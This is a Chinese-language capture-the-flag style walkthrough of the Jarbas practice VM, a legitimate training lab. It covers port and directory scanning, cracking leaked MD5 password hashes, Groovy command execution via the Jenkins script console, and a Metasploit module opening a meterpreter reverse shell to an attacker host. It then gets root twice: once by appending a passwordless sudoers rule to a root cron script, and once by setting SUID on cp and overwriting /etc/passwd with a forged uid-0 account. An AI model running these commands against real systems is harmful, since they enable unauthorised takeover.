jarbas靶机渗透,利用jenkins_script来getshell,利用crontab定时执行练习提权
靶机IP:192.168.8.141
信息收集
nmap -sS -Pn -A -p- -n 192.168.8.141
开了不少端口服务
22/tcp open ssh
80/tcp open http
3306/tcp open mysql MariaDB (unauthorized)
8080/tcp open http Jetty 9.4.z-SNAPSHOT
dir爆一下目录
发现了一些可疑目录:
http://192.168.8.141:80//access.html
tiago:5978a63b4654c73c60fa24f836386d87
trindade:f463f63616cb3f1e81ce46b39f882fd5
eder:9b38e2b1e8b12f426b0d208a7ab6cb98
登录网站后台
这些就是密码hash吧,拿去md5解
tiago:italia99
trindade:marianna
eder:vipsu
走8080端口的web,是一个网站后台管理登录,三组账号、密码尝试登录,只有第三组登录成功,进入网站后台
在http://192.168.8.141:8080/script
发现能够执行 Groovy脚本,可以直接getshell
尝试执行 ifconfig
println "ifconfig".execute().text
可以利用Groovy写入一句话getshell
new File("/var/www/html/shell.php").write('');
无奈,没有权限
msf利用jenkins_script_console漏洞getshell
直接在msf中利用jenkins_script_console漏洞getshell吧
search Jenkins
use exploit/multi/http/jenkins_script_console
set RHOSTS 192.168.8.141
set RPORT 8080
set USERNAME eder
set PASSWORD vipsu
set TARGETURI /
set target 1
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.8.253
exploit
成功反弹:
先用python切一下bash
python -c 'import pty;pty.spawn("/bin/bash")'
提权方法一
查看靶机的定时任务
cat /etc/crontab
发现一个以root身份定时执行的任务CleaningScript.sh
修改CleaningScript.sh内容,使它能够修改sudoers,给予当前用户jenkins免密码执行sudo的权限。
并利用crontab定时执行该任务
echo "echo 'jenkins ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers" >> /etc/script/CleaningScript.sh
每隔五分钟执行一次 CleaningScript.sh,等待执行
利用
sudo /bin/bash
切换到root权限
get flag:
提权方法二
上传一个伪造的passwd文件,我们在里面添加一个具有root权限的超级用户hack,因为一般的cp拷贝命令是没有权限操作/etc/passwd文件的,所以我们需要将给cp命令添加权限的命令写入CleaningScript.sh文件中,隔五分钟自动执行一次,这样cp拷贝命令执行时具有对/etc/passwd的操作权限,就可以替换掉原来的/etc/passwd文件。可以使hack成为了超级用户:
实现过程如下:
1、给cp命令加权的命令写入文件:
cd /etc/script/
echo "chmod u+s /usr/bin/cp" > CleaningScript.sh
2、在终端生成加盐的用户名密码hash
openssl passwd -1 -salt hack admin
#该命令用于生成hash,-1表示用MD5基于BSD的密钥算法。用户名为hack,密码是admin
hash值为:
$1$hack$S2VoJ5vlbVgrq0HbeaFfE1
3、在本机将生成的新用户hash加入到伪造的passwd文件中:
hack:$1$hack$S2VoJ5vlbVgrq0HbeaFfE1:0:0:root:/root:/bin/bash
4、执行如下命令:
upload /root/passwd /tmp #这里需要先crtl+c退出shell回到会话,再用会话的upload命令上传到/tmp目录下
shell #切换到shell
python -c 'import pty;pty.spawn("/bin/bash")'
5、在shell执行:
cd /tmp
cp passwd /etc/passwd #拷贝伪造得的passwd文件覆盖原本的/etc/passwd文件
cat /etc/passwd #查看是否拷贝成功
拷贝成功:
6、切换到新创建的hack用户:
su hack
密码:admin
成功拿到root权限:
成功get flag:
总结
1、web信息收集阶段,目录扫描,建议采用多工具扫描
2、登录网站后台,找到能上传,能执行,能反弹的地方;实在不行,查找该建站的cms的漏洞,进行利用
3、该靶机提权过程比较有意思,查看靶机的定时任务执行器,发现每隔五分钟执行一次任务,想到通过以root身份修改sudoers,给予当前用户jenkins免密码执行sudo的权限来进行提权。以后要多留意该方法。
4、提权新思路,既然任务定时脚本自动以root权限执行,那就将cp复制命令作为写入执行,并构造一个hack登录用户写入passwd,覆盖原文件,执行su提取。
jarbas靶机百度云下载
链接:https://pan.baidu.com/s/1S4hI0S_mH60uNz1_jQho9g
提取码:o3p0